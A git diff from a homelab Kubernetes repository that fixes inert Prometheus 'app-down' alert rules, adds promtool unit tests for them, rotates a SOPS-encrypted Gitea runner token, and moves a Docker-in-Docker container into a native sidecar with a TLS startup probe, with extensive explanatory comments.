+                \ every start and BOTH arrs will break. Fix and restart.\" >&2\n    exit 0\n  fi\n\n  # (3) GROUND TRUTH: the WebUI itself must accept it. Wait for the API to answer at ALL\n  #     (shared ~120s budget across attempts), then spend exactly ONE login per attempt -\n  #     at most 3 rejected logins, which stays under qBittorrent's default ban threshold.\n  #\n  # \"THE API NEVER ANSWERED\" IS A DIFFERENT FAULT FROM \"THE PASSWORD WAS REJECTED\", and\n  # conflating them is what made this hook lie once already (see the PORT comment). An\n  # unreachable WebUI is reported as unreachable, and the hook stops rather than spending\n  # its remaining login attempts to produce two more identical wrong diagnoses.\n  api_ok=0\n  while [ \"$waited\" -lt 120 ]; do\n    code=$(curl -s -o /dev/null -m 3 -w '%{http_code}' \"http://127.0.0.1:$PORT/\" 2>/dev/null)\n    if [ -n \"$code\" ] && [ \"$code\" != \"000\" ]; then api_ok=1; break; fi\n    waited=$((waited + 1)); sleep 1\n  done\n  if [ \"$api_ok\" != 1 ]; then\n    log \"the WebUI never answered on 127.0.0.1:$PORT within the wait budget, so the\" >&2\n    log \"credential in $CONF is UNVERIFIED. This is NOT a rejected password - it was\" >&2\n    log \"never submitted. Do not rotate the credential on the strength of this line.\" >&2\n    exit 0\n  fi\n  body=$(curl -sS -m 10 \\\n           --data-urlencode \"username=$QBT_WEBUI_USERNAME\" \\\n           --data-urlencode \"password=$QBT_WEBUI_PASSWORD\" \\\n           \"http://127.0.0.1:$PORT/api/v2/auth/login\" 2>/dev/null)\n  if [ \"$body\" = \"Ok.\" ]; then\n    log \"VERIFIED: the WebUI accepts the durable credential for '$QBT_WEBUI_USERNAME'\"\n    exit 0\n  fi\n  log \"WebUI rejected the durable credential (login said '$body')\" >&2\n  # A rejection when the conf was ALREADY converged (rc=0, nothing written) can only mean\n  # the running qbittorrent-nox is serving something it read from an EARLIER conf, so\n  # rewriting the same bytes on the next attempt would change nothing. The remedy is to\n  # make the process RE-READ the file, so restart the supervised service and let the next\n  # attempt re-verify. Without this the retry loop could never change its own outcome.\n  if [ \"$(s6-svstat -u \"$SVC\" 2>/dev/null)\" = \"true\" ]; then\n    log \"restarting qbittorrent-nox so it re-reads $CONF, then re-verifying\" >&2\n    s6-svc -r \"$SVC\" || log \"s6-svc -r failed (continuing to verify anyway)\" >&2\n    sleep 3\n  fi\ndone\n\nlog \"GAVE UP after $attempt attempts: the WebUI does not accept the credential from git.\" >&2\n# A postStart hook MUST exit 0 - a non-zero exit makes the kubelet KILL the container\n# (FailedPostStartHook -> CrashLoopBackOff), turning a credential fault into an outage.\n# Both failure paths above therefore log LOUDLY and exit 0; the `up` SLI still watches the\n# app, and the arrs' own download-client health check surfaces a broken credential.\nexit 0\n"
       - name: oauth2-proxy
         image: quay.io/oauth2-proxy/oauth2-proxy:v7.8.1
         imagePullPolicy: IfNotPresent
@@ -325,6 +344,7 @@ metadata:
   annotations:
     homelab.keithjackson.dev/auth-mode: forward-auth
     homelab.keithjackson.dev/auth-groups: media-users,platform-admins
+    external-dns.alpha.kubernetes.io/controller: none
 spec:
   parentRefs:
   - name: shared
@@ -341,26 +361,6 @@ spec:
     - name: qbittorrent
       port: 4180
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: qbittorrent
-  namespace: qbittorrent
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: qbittorrent
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: qbittorrent
-  namespaceSelector:
-    matchNames:
-    - qbittorrent
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -375,11 +375,11 @@ spec:
   - name: qbittorrent.slis
     rules:
     - alert: qbittorrent-down
-      expr: up{job="qbittorrent"} == 0
+      expr: kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"} == 0 or absent(kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"})
       for: 5m
       labels:
         severity: critical
         service: qbittorrent
       annotations:
         summary: qbittorrent is down
-        description: 'qbittorrent has been unreachable for 5m (SLI: up).'
+        description: 'qbittorrent: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available).'

apps/wave-0/tests/app-slis.test.yaml

@@ -0,0 +1,267 @@
+# promtool rule-unit tests for the wave-0 per-app `<app>-down` SLI rules.
+# Manifests under test: every PrometheusRule in apps/wave-0/ — gitea, jackett, pihole, plex,
+# qbittorrent (container/Deployment) and vm-demo (KubeVirt VMI). The harness discovers this file by
+# the SUITE convention (`<dir>/tests/*.test.yaml`) and flattens those RENDERED manifests, so these
+# tests run against the exact expressions Flux applies, never a copy.
+#
+# Run with: platform/monitoring/tests/run.sh apps/wave-0/tests/app-slis.test.yaml
+#           (the merge gate runs the same harness via
+#            conformance/tests/l0-static/alert-rules-unit-tested)
+#
+# WHY THESE EXIST. Until 2026-09-13 every one of these rules read `up{job="<app>"} == 0` while the
+# rendered ServiceMonitor named a Service port (`metrics`) that no rendered Service defined. The
+# monitor discovered ZERO targets, so no `up{job="<app>"}` series existed and the rule could not
+# fire — on prod, `count by (job) (up)` listed 24 jobs and not one of the twelve appeared.
+# `PrometheusTargetsMissing` could not see it either: a target that was never discovered has no `up`
+# series to be 0. The rules now read kube-state-metrics / kubevirt series that DO exist for these
+# workloads (verified on prod), and every rule below is pinned in BOTH directions:
+#   * QUIET on the healthy state -> it is not permanently firing;
+#   * FIRING when the workload has no ready replica -> it is not inert;
+#   * FIRING when the signal is ABSENT -> the failure mode that produced this whole defect class
+#     (a rule that goes quiet because its series vanished) is itself alerted on.
+#
+# CLOCK/`for` CONVENTION: sample interval 1m, series 21 samples long, evaluated at 10m — comfortably
+# past every rule's `for: 5m` and well inside Prometheus' 5m lookback.
+rule_files:
+  - generated.rules.yaml
+
+evaluation_interval: 1m
+
+tests:
+  # ===========================================================================================
+  # 1. HEALTHY WAVE-0 (what prod looks like right now) -> every rule SILENT.
+  #    This is the "not permanently firing" half. It is also the test that catches a mis-spelled
+  #    label: get `deployment=` wrong and the `== 0` half matches nothing while the `absent()` half
+  #    matches everything, so this test goes red instead of the rule going quietly wrong.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 healthy - every app has a ready replica, the demo VM runs - all quiet
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"}'
+        values: '1+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running", node="k3s-prod-1"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: jackett-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: pihole-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: qbittorrent-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 2. EACH APP DOWN IN TURN (0 available replicas) -> ONLY that app's rule fires.
+  #    The per-app isolation matters: a rule that forgot its `namespace=`/`deployment=` matchers
+  #    would light up every app at once and be useless for routing.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 plex has no available replica - only plex-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"}'
+        values: '1+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: plex
+              namespace: plex
+              deployment: plex
+            exp_annotations:
+              summary: "plex is down"
+              description: "plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: jackett-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: pihole-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: qbittorrent-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts: []
+    # Before `for: 5m` has elapsed the rule must be PENDING, not firing — proof the 5m is real and
+    # a single scrape blip does not page anyone.
+    promql_expr_test:
+      - expr: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"} == 0 or absent(kube_deployment_status_replicas_available{namespace="plex", deployment="plex"})'
+        eval_time: 2m
+        exp_samples:
+          - labels: 'kube_deployment_status_replicas_available{deployment="plex", namespace="plex"}'
+            value: 0
+
+  - interval: 1m
+    name: wave-0 gitea/jackett/pihole/qbittorrent each down - each own rule fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="jackett", deployment="jackett"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="pihole", deployment="pihole"}'
+        values: '0+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="plex", deployment="plex"}'
+        values: '1+0x20'
+      - series: 'kube_deployment_status_replicas_available{namespace="qbittorrent", deployment="qbittorrent"}'
+        values: '0+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: gitea
+              namespace: gitea
+              deployment: gitea
+            exp_annotations:
+              summary: "gitea is down"
+              description: "gitea: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: jackett-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: jackett
+              namespace: jackett
+              deployment: jackett
+            exp_annotations:
+              summary: "jackett is down"
+              description: "jackett: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: pihole-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: pihole
+              namespace: pihole
+              deployment: pihole
+            exp_annotations:
+              summary: "pihole is down"
+              description: "pihole: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: qbittorrent-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: qbittorrent
+              namespace: qbittorrent
+              deployment: qbittorrent
+            exp_annotations:
+              summary: "qbittorrent is down"
+              description: "qbittorrent: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts: []
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 3. THE SIGNAL VANISHES -> the rule FIRES. This is the defect class itself, asserted on.
+  #    The old `up{job=...} == 0` rule had exactly this shape of hole and was silent for it. Here
+  #    the Deployment series for plex is simply not in the input at all, and plex-down must still
+  #    fire (via the `absent()` half), with the labels the selector's equality matchers carry.
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 plex Deployment series ABSENT (never scraped / workload gone) - plex-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: plex-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: plex
+              namespace: plex
+              deployment: plex
+            exp_annotations:
+              summary: "plex is down"
+              description: "plex: its Deployment has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_deployment_status_replicas_available)."
+      - eval_time: 10m
+        alertname: gitea-down
+        exp_alerts: []
+
+  # ===========================================================================================
+  # 4. THE VM: a VMI carries no replica count, so liveness is the EXISTENCE of a running-phase
+  #    series. Two ways to be down, both asserted: the VMI is gone entirely, and the VMI exists in
+  #    some OTHER phase. The second is the one a naive `kubevirt_vmi_info == 1` would miss, and it
+  #    is why the phase value is matched — LOWERCASE `running`, the value KubeVirt actually writes
+  #    (a capital-R matcher selects nothing and would be just as inert).
+  # ===========================================================================================
+  - interval: 1m
+    name: wave-0 demo VM has no running-phase VMI - vm-demo-down fires
+    input_series:
+      - series: 'kube_deployment_status_replicas_available{namespace="gitea", deployment="gitea"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: vm-demo
+              namespace: vm-demo
+              name: vm-demo
+              phase: running
+            exp_annotations:
+              summary: "vm-demo is down"
+              description: "vm-demo: no KubeVirt VMI in phase running for 5m (SLI: up, via kubevirt_vmi_info)."
+
+  - interval: 1m
+    name: wave-0 demo VM exists but is Failed, not running - vm-demo-down still fires
+    input_series:
+      - series: 'kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="failed"}'
+        values: '1+0x20'
+    alert_rule_test:
+      - eval_time: 10m
+        alertname: vm-demo-down
+        exp_alerts:
+          - exp_labels:
+              severity: critical
+              service: vm-demo
+              namespace: vm-demo
+              name: vm-demo
+              phase: running
+            exp_annotations:
+              summary: "vm-demo is down"
+              description: "vm-demo: no KubeVirt VMI in phase running for 5m (SLI: up, via kubevirt_vmi_info)."

apps/wave-0/vm-demo.yaml

@@ -115,26 +115,6 @@ spec:
   - toEntities:
     - world
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: vm-demo
-  namespace: vm-demo
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: vm-demo
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: vm-demo
-  namespaceSelector:
-    matchNames:
-    - vm-demo
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -149,11 +129,11 @@ spec:
   - name: vm-demo.slis
     rules:
     - alert: vm-demo-down
-      expr: up{job="vm-demo"} == 0
+      expr: absent(kubevirt_vmi_info{namespace="vm-demo", name="vm-demo", phase="running"})
       for: 5m
       labels:
         severity: critical
         service: vm-demo
       annotations:
         summary: vm-demo is down
-        description: 'vm-demo has been unreachable for 5m (SLI: up).'
+        description: 'vm-demo: no KubeVirt VMI in phase running for 5m (SLI: up, via kubevirt_vmi_info).'

apps/wave-1/gitea-actions-runner-secret.sops.yaml

@@ -4,7 +4,13 @@
 # against Gitea. Flux decrypts it via the sops-age key at reconcile (apps Kustomization
 # decryption is wired in clusters/dev/kustomization.yaml). Rotate by resetting the token
 # in Gitea (admin -> actions -> runners) and re-encrypting a fresh value here.
-# Recover/inspect: infra/devcontainer/dev.sh run sops -d apps/gitea-actions-runner-secret.sops.yaml
+# ROTATE: ./infra/gitea/runner-token-rotate.sh -- it mints a fresh instance-level token from the
+# Gitea API and writes it here via `sops set`, without the value ever being printed.
+# Do NOT `sops -d` this file into a terminal, a log, or an agent transcript. To check only that
+# it still decrypts, redirect: `sops -d <file> > /dev/null`.
+# NOTE: a fresh token alone may not re-register the runner. act_runner registers ONCE and keeps
+# its identity in /data/.runner on the act-runner-data PVC; if Gitea no longer holds a matching
+# row it skips registration silently. Clearing that PVC is what forces a real re-registration.
 apiVersion: v1
 kind: Secret
 metadata:
@@ -14,7 +20,7 @@ metadata:
         app.kubernetes.io/name: act-runner
 type: Opaque
 stringData:
-    token: ENC[AES256_GCM,data:W48mEtBqGeukX13lMhrhrer+zB21cLVp0acy3m1Xy/oo89DqO8FX/Q==,iv:wfTUU7RiFLdEc1fmEFS9DfE2SmGCFLPK17m0IKspft0=,tag:UhoXA47p7386KHcYNbPzCg==,type:str]
+    token: ENC[AES256_GCM,data:f574mAUkLvMGq0TYycwCd4tduMuBgQLiTg/140kuRDgFUYYm1ZoSjQ==,iv:Tn7gFWBLm2hHk/BbfVX7qIZegwZp9ah1cMou5i2O91E=,tag:TkdSiMI4sdCNn2JuN++Pig==,type:str]
 sops:
     kms: []
     gcp_kms: []
@@ -30,8 +36,8 @@ sops:
             MDZLUE52QzJXbFlrNWxOcVhJbDNnY00KxCpFkbhhCuk4Fa8CC3C4+R9AcsUnaXQR
             UjAfwKFoXAneXUih7TTXMbR/6+VgQBww5Bmwpn7jVLnzP0N0pIZVTA==
             -----END AGE ENCRYPTED FILE-----
-    lastmodified: "2026-08-26T04:48:14Z"
-    mac: ENC[AES256_GCM,data:b99/zkL332RIT3FYBa1sR3o9+pwlmrUgKvVHawbjWYSJZ7ERUfO+LXuhKJ0HKrp6i1JfkurZlRO27iBcfrBisAXS9KLaqmsCJf4kKfFc4skANrmKCzprrXUmZexr1uiE8eDUzjNCLNxSCZfnFR6d/AkMXJqi6Hsj9/O+wH2lWsc=,iv:3DIPszSdxK81ERO3o/nTs33qQYHaAKLNcGP4qlZViFc=,tag:/B6VKkzMUwh0byNUicS5wQ==,type:str]
+    lastmodified: "2026-09-29T05:48:35Z"
+    mac: ENC[AES256_GCM,data:nobqr794nrdRYFrd8Ct8bw9M8NtftJXawRGk9zrL+pTWahwlWrwXVtOAxMGEPVojz3WemsxTJESzmzy0gcT1QcrjpYTsF2MVHcr6+umk8q9gAh2enyxy/0QkYiSt6XjvRVqfqleLanEkeIq1FPf2zhSLSJaiw4/oZTfkCHD1/Zg=,iv:JxaP0htmGcvE4ZU1YAmGF4A6JkejV29NNygyMl1OKF8=,tag:G70NvcPyVuagXhugWoUfTw==,type:str]
     pgp: []
     encrypted_regex: ^(data|stringData)$
     version: 3.9.4

apps/wave-1/gitea-actions.yaml

@@ -99,70 +99,79 @@ spec:
       # CI holds no cluster credentials — do not mount a SA token into the runner or
       # (via the shared netns) the job containers (R-SEC-02, docs/14).
       automountServiceAccountToken: false
+      # ---- Docker-in-Docker: the job executor daemon (privileged) -------------------
+      #
+      # NATIVE SIDECAR (k3s v1.36; sidecar containers are GA). It is an initContainer with
+      # `restartPolicy: Always`, which means: it starts BEFORE the regular containers, keeps
+      # running alongside them, and is terminated after them. kubelet holds `runner` until
+      # this container's startupProbe passes, so the ordering is enforced by the kubelet
+      # instead of hand-rolled shell in the runner.
+      #
+      # This REPLACES two bounded wait-loops that used to live in the runner's `command:`.
+      # Deleting them also deletes an envsubst hazard: clusters/base/apps-wave-1.yaml runs
+      # postBuild substitution over this ENTIRE manifest, comments included, and those loops
+      # depended on bare dollar-names surviving it untouched. There is now no shell here at
+      # all, so there is nothing to escape or mis-escape.
+      #
+      # WHY THE PROBE IS `exec docker ... info` AND NOT `tcpSocket`. A tcpSocket probe would
+      # re-open the exact gap the old Stage 1 existed to close: dockerd writes the TLS certs
+      # and only THEN begins listening, so the port can accept a connection while the certs
+      # are absent or incomplete -- and act_runner hard-exits on a missing
+      # /certs/client/ca.pem. A full TLS-verified `docker info` proves BOTH that the certs
+      # are usable and that the daemon answers.
+      #
+      # CORRECTION (measured 2026-09-29, after this conversion shipped): the commit that
+      # introduced this claimed the conversion would REMOVE the one-per-start dockerd line
+      # `http: TLS handshake error from 127.0.0.1: EOF`. IT DOES NOT. Exactly one still
+      # appears, immediately after "API listen on [::]:2376" -- it is now this probe's FIRST
+      # attempt, landing microseconds after dockerd begins listening and cut off by
+      # timeoutSeconds: 1. The next poll succeeds. It is cosmetic, exactly as cosmetic as it
+      # was before, and deliberately NOT chased: raising timeoutSeconds to hide one benign
+      # startup line would slow every subsequent poll. Left documented rather than silenced.
+      #
+      # periodSeconds 1 x failureThreshold 60 preserves the previous 60s cap.
+      initContainers:
+        - name: dind
+          restartPolicy: Always   # <- this field is what makes it a SIDECAR
+          image: docker:27-dind
+          securityContext:
+            privileged: true
+          env:
+            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
+            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
+            - name: DOCKER_TLS_CERTDIR
+              value: /certs
+          volumeMounts:
+            - name: certs
+              mountPath: /certs
+            - name: dind-storage
+              mountPath: /var/lib/docker
+          resources:
+            requests:
+              cpu: 100m
+              memory: 256Mi
+            limits:
+              memory: 2Gi
+          startupProbe:
+            exec:
+              command:
+                - docker
+                - --host=tcp://127.0.0.1:2376
+                - --tlsverify
+                - --tlscacert=/certs/client/ca.pem
+                - --tlscert=/certs/client/cert.pem
+                - --tlskey=/certs/client/key.pem
+                - info
+            periodSeconds: 1
+            failureThreshold: 60
       containers:
         # ---- act_runner: registers with Gitea, dispatches jobs to the DinD daemon ----
         - name: runner
           image: gitea/act_runner:0.2.11
-          # TWO-STAGE BOUNDED WAIT on the DinD sidecar, then exec the image's normal
-          # entrypoint (/sbin/tini -- /opt/act/run.sh), which registers-from-env on first
-          # boot and runs `act_runner daemon`.
-          #
-          # STAGE 1 — the certs must EXIST: act_runner reads /certs/client/ca.pem at startup
-          #   and hard-exits if it is missing (a startup race against the sidecar).
-          # STAGE 2 — the daemon must actually ACCEPT a connection: the cert FILE appearing is
-          #   necessary but NOT sufficient. dockerd writes the certs and only THEN begins
-          #   listening on :2376, so a runner that proceeds on the file alone still hard-exits
-          #   with "cannot ping the docker daemon at tcp://localhost:2376" — observed
-          #   crashlooping 11 times in ~8 minutes on a fresh pod after a node bounce.
-          # Both loops are bounded (60 x 1s) and exit 1 on timeout, so a genuinely dead sidecar
-          # surfaces as a CrashLoopBackOff with a clear message instead of hanging forever.
-          #
-          # ENVSUBST SAFETY — the BARE $i / $j below are CORRECT. Do not "tidy" them into the
-          #   braced form or the double-dollar form; both are wrong here, for different reasons.
-          #   clusters/base/apps-wave-1.yaml carries postBuild.substituteFrom cluster-vars, so
-          #   Flux envsubst runs over this ENTIRE manifest — YAML comments very much included.
-          #   Its contract (drone/envsubst; the same one spelled out in clusters/base/apps-vms.yaml,
-          #   and re-verified against this exact file with `flux envsubst`, flux v2.4.0) is:
-          #     - A bare  $name  is NOT a reference to envsubst: it passes through untouched, and
-          #       that holds even when the name IS set in cluster-vars. So $i and $j reach the
-          #       cluster verbatim and both 60s bounds below are real, enforced bounds.
-          #     - $((i + 1))  is likewise untouched: "(" cannot begin a variable name.
-          #     - A BRACED dollar-name IS a reference and gets replaced — with the empty string
-          #       when the name is unset. One of those here would make a bound read [ "" -ge 60 ],
-          #       which errors, short-circuits the &&, and silently turns the wait UNBOUNDED.
-          #     - A DOUBLE-dollar braced name is envsubst's escape and survives as the braced
-          #       form — still wrong for us, because on any path where envsubst does NOT run
-          #       (a plain `kustomize build` or `kubectl apply -k` of this directory) the shell
-          #       reads that leading double-dollar as its own PID, so a bound would compare a
-          #       string like 1234{i} against 60. The bare form is the only spelling that is
-          #       correct on BOTH paths.
-          #     - A braced name containing punctuation is a HARD ERROR ("unable to parse variable
-          #       name") that fails this whole Kustomization — and this Kustomization gates every
-          #       merge in the repo. So never write one anywhere in this file, INCLUDING in a
-          #       comment. That is why this note names the three forms in words rather than
-          #       showing them: an earlier draft of it spelled them out literally and broke
-          #       `flux envsubst` on the file. (Same trap the indexed-expansion warning in
-          #       clusters/base/apps-vms.yaml describes.)
-          command:
-            - /bin/sh
-            - -c
-            - |
-              # Stage 1: the sidecar's TLS client certs must appear in the shared emptyDir.
-              i=0
-              until [ -f /certs/client/ca.pem ]; do
-                i=$((i + 1))
-                [ "$i" -ge 60 ] && { echo "dind certs never appeared" >&2; exit 1; }
-                echo "waiting for dind TLS certs ($i)"; sleep 1
-              done
-              # Stage 2: dockerd must actually accept a connection on :2376. busybox nc in this
-              # Alpine-based image (gitea/act_runner:0.2.11) supports -z (scan) and -w (timeout).
-              j=0
-              until nc -z -w1 127.0.0.1 2376; do
-                j=$((j + 1))
-                [ "$j" -ge 60 ] && { echo "dind daemon never accepted a connection on 2376" >&2; exit 1; }
-                echo "waiting for dind daemon on :2376 ($j)"; sleep 1
-              done
-              exec /sbin/tini -- /opt/act/run.sh
+          # No `command:` override. The image's own entrypoint (/sbin/tini -- /opt/act/run.sh)
+          # registers from env on first boot and runs `act_runner daemon`. The two wait-loops
+          # that used to live here are gone: kubelet now holds this container until the dind
+          # sidecar's startupProbe passes (see initContainers above).
           env:
             - name: GITEA_INSTANCE_URL
               value: https://gitea.${BASE_DOMAIN}
@@ -198,52 +207,6 @@ spec:
               memory: 128Mi
             limits:
               memory: 512Mi
-        # ---- Docker-in-Docker: the job executor daemon (privileged) ----
-        #
-        # FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
-        #   Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
-        #   k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
-        #   ordering that the loops above hand-roll — which also removes the envsubst hazard
-        #   from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
-        #   Shape to build:
-        #     1. Move this whole container into `initContainers:` as the FIRST entry.
-        #     2. Add `restartPolicy: Always` to it. That single field is what makes an
-        #        initContainer a sidecar: it starts before the regular containers, keeps
-        #        running alongside them, and is terminated after them.
-        #     3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
-        #        connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
-        #        --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
-        #        --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
-        #        it would re-open the same "port accepting but TLS/certs not ready" gap that
-        #        Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
-        #        preserves today's 60s cap.
-        #     4. kubelet then holds the `runner` container until that startupProbe passes, so
-        #        `runner` can drop its `command:` override completely and run the image's
-        #        default entrypoint.
-        #   Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
-        #   entire repository. If the conversion is wrong, nothing can merge — so it must land
-        #   alone, where the failure is unambiguous and not entangled with anything else, and
-        #   only after a real workflow run has been observed green on the converted pod.
-        - name: dind
-          image: docker:27-dind
-          securityContext:
-            privileged: true
-          env:
-            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
-            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
-            - name: DOCKER_TLS_CERTDIR
-              value: /certs
-          volumeMounts:
-            - name: certs
-              mountPath: /certs
-            - name: dind-storage
-              mountPath: /var/lib/docker
-          resources:
-            requests:
-              cpu: 100m
-              memory: 256Mi
-            limits:
-              memory: 2Gi
       volumes:
         - name: data
           persistentVolumeClaim:

apps/wave-1/keycloak.yaml

@@ -184,26 +184,6 @@ spec:
     - name: keycloak
       port: 8080
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: keycloak
-  namespace: keycloak
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: keycloak
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: keycloak
-  namespaceSelector:
-    matchNames:
-    - keycloak
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -218,11 +198,11 @@ spec:
   - name: keycloak.slis
     rules:
     - alert: keycloak-down
-      expr: up{job="keycloak"} == 0
+      expr: kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"} == 0 or absent(kube_statefulset_status_replicas_ready{namespace="keycloak", statefulset="keycloak"})
       for: 5m
       labels:
         severity: critical
         service: keycloak
       annotations:
         summary: keycloak is down
-        description: 'keycloak has been unreachable for 5m (SLI: up).'
+        description: 'keycloak: its StatefulSet has no available/ready replica for 5m, or the signal is gone entirely (SLI: up, via kube_statefulset_status_replicas_ready).'

apps/wave-1/nextcloud.yaml

@@ -290,26 +290,6 @@ spec:
     - name: nextcloud
       port: 80
 ---
-# ServiceMonitor (R-OBS-01)
-apiVersion: monitoring.coreos.com/v1
-kind: ServiceMonitor
-metadata:
-  name: nextcloud
-  namespace: nextcloud
-  labels:
-    release: kube-prometheus-stack
-    app.kubernetes.io/name: nextcloud
-spec:
-  selector:
-    matchLabels:
-      app.kubernetes.io/name: nextcloud
-  namespaceSelector:
-    matchNames:
-    - nextcloud
-  endpoints:
-  - port: metrics
-    interval: 30s
----
 # PrometheusRule SLI alerts (R-OBS-01)
 apiVersion: monitoring.coreos.com/v1
 kind: PrometheusRule
@@ -324,11 +304,11 @@ spec:
   - name: nextcloud.slis
     rules:
     - alert: nextcloud-down
-      expr: up{job="nextcloud"} == 0
